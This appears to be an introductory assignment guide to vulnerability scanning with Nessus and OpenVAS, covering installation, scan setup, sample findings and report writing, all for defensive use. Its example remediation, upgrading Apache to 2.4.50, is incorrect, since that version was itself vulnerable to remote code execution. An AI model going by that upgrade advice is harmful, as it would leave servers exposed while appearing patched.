The objective of this assignment is to **perform a vulnerability assessment** on a target system using **Nessus or OpenVAS**. This involves scanning for security flaws, misconfigurations, and weaknesses in network infrastructure.

🔹 Step 1: Understanding Vulnerability Assessment

🔸 1.1 What is Vulnerability Assessment?

Vulnerability assessment is the process of scanning, identifying, and analyzing security weaknesses in **systems, applications, and networks**. It helps organizations **proactively fix security gaps** before attackers can exploit them.

🔸 1.2 Why is Vulnerability Assessment Important?

✓ Detects **outdated software, weak passwords, and misconfigurations**.
✓ Helps prevent **data breaches, malware infections, and cyber-attacks**.
✓ Ensures compliance with security standards like **ISO 27001, GDPR, and PCI-DSS**.

📌 **Example:**
A company **runs an outdated web server**. A vulnerability scan detects that **Apache 2.4.39** has a known **Remote Code Execution**

(RCE) flaw, allowing attackers to exploit the system. The company patches it before an attack occurs.

📌 Step 2: Choosing a Vulnerability Scanner

🔹 2.1 Nessus (By Tenable)

✓ **Commercial and Free Version Available (Nessus Essentials)**
✓ **Accurate and detailed vulnerability reporting**
✓ **Supports scanning for thousands of vulnerabilities**

🔹 2.2 OpenVAS (Open Source)

✓ **Free and open-source vulnerability scanner**
✓ **Built into the Greenbone Security Manager (GSM)**
✓ **Provides strong community support**

📌 Which One to Use?

- Use **Nessus** if you need a user-friendly interface with detailed vulnerability classifications.
- Use **OpenVAS** if you prefer an **open-source** solution with continuous community updates.

📌 Step 3: Setting Up Nessus or OpenVAS

🔹 3.1 Installing Nessus

🛠 Step 1: Download & Install Nessus

1. Download **Nessus Essentials (Free Version)** from https://www.tenable.com/products/nessus

2. Run the installer on **Windows/Linux/Mac**

3. Start the Nessus service:

sudo systemctl start nessusd

4 Access Nessus in a browser:

https://localhost:8834

5. Create an account and **register Nessus** using the activation key.

🔸 3.2 Installing OpenVAS

🛠️ Step 1: Install OpenVAS on Linux

1. Update your system:

sudo apt update && sudo apt upgrade -y

2. Install OpenVAS:

sudo apt install openvas -y

3. Start the OpenVAS service:

sudo systemctl start openvas

4. Access OpenVAS in a browser:

https://localhost:9392

5. Log in using **admin** credentials (generated during setup).

📌 Step 4: Performing a Vulnerability Scan

🔹 Using Nessus

🔸 4.1 Creating a Scan in Nessus

🛠 Step 1: Configure a New Scan

1. **Log in** to Nessus at https://localhost:8834
2. Click **"New Scan"**
3. Select **"Basic Network Scan"**
4. Enter:

- **Name**: Example – "Company Vulnerability Scan"
- **Target**: Enter the **IP address or domain** *(e.g., 192.168.1.10 or testsite.com)*

🛠 Step 2: Run the Scan

1. Click **"Launch Scan"**
2. Nessus starts scanning for vulnerabilities **(This may take several minutes to an hour).**

🛠 Step 3: Analyze Scan Results

📌 Example Output:

High-Risk Vulnerability Detected:

- Apache 2.4.39 has a Remote Code Execution (RCE) vulnerability.

- Recommendation: Upgrade Apache to version 2.4.50.

✓ Fix vulnerabilities by **patching, updating, or configuring security settings.**

🔹 Using OpenVAS

🔸 4.2 Creating a Scan in OpenVAS

🛠 Step 1: Configure a New Scan

1. **Log in** to OpenVAS at https://localhost:9392
2. Click **"Scans"** → **"Tasks"** → **"New Task"**
3. Enter:

- **Task Name**: Example – "Internal Network Scan"
- **Target**: Add **IP address or hostname** *(e.g., 192.168.1.10 or testserver.local)*
- Select **Scan Config**: "Full and Fast"

🛠 Step 2: Start the Scan

1. Click **"Start Scan"**
2. OpenVAS begins **network analysis and vulnerability scanning.**

🛠 Step 3: Review Scan Results

📌 Example Output:

Vulnerabilities Found:

- OpenSSH 7.2 detected (Vulnerable to User Enumeration)

- Recommendation: Upgrade to OpenSSH 8.0 or higher.

✓ Fix vulnerabilities by **updating software, changing configurations, and implementing firewall rules.**

📌 Step 5: Documenting the Vulnerability Assessment Report

Once the scan is complete, prepare a **detailed report** including:

✅ **System Information** *(Scanned IPs, Network details, OS detected)*
✅ **Vulnerabilities Found** *(Risk level: Low, Medium, High, Critical)*
✅ **Recommendations** *(Patch, upgrade, or disable vulnerable services)*
✅ **Mitigation Actions Taken** *(Steps performed to fix the issues)*

📌 **Example Report Summary:**

Target: 192.168.1.10 (Test Server)

Vulnerabilities Found:

1. Apache 2.4.39 - Remote Code Execution (High)

- Fix: Upgrade to Apache 2.4.50

2. OpenSSH 7.2 - User Enumeration Vulnerability (Medium)

- Fix: Upgrade to OpenSSH 8.0

📌 **Step 6: Security Best Practices**

✓ Regularly conduct vulnerability scans (monthly or quarterly).
✓ Apply software patches and updates immediately.
✓ Implement firewall and IDS rules to prevent exploitation.
✓ Use strong authentication methods (MFA, SSH key-based login).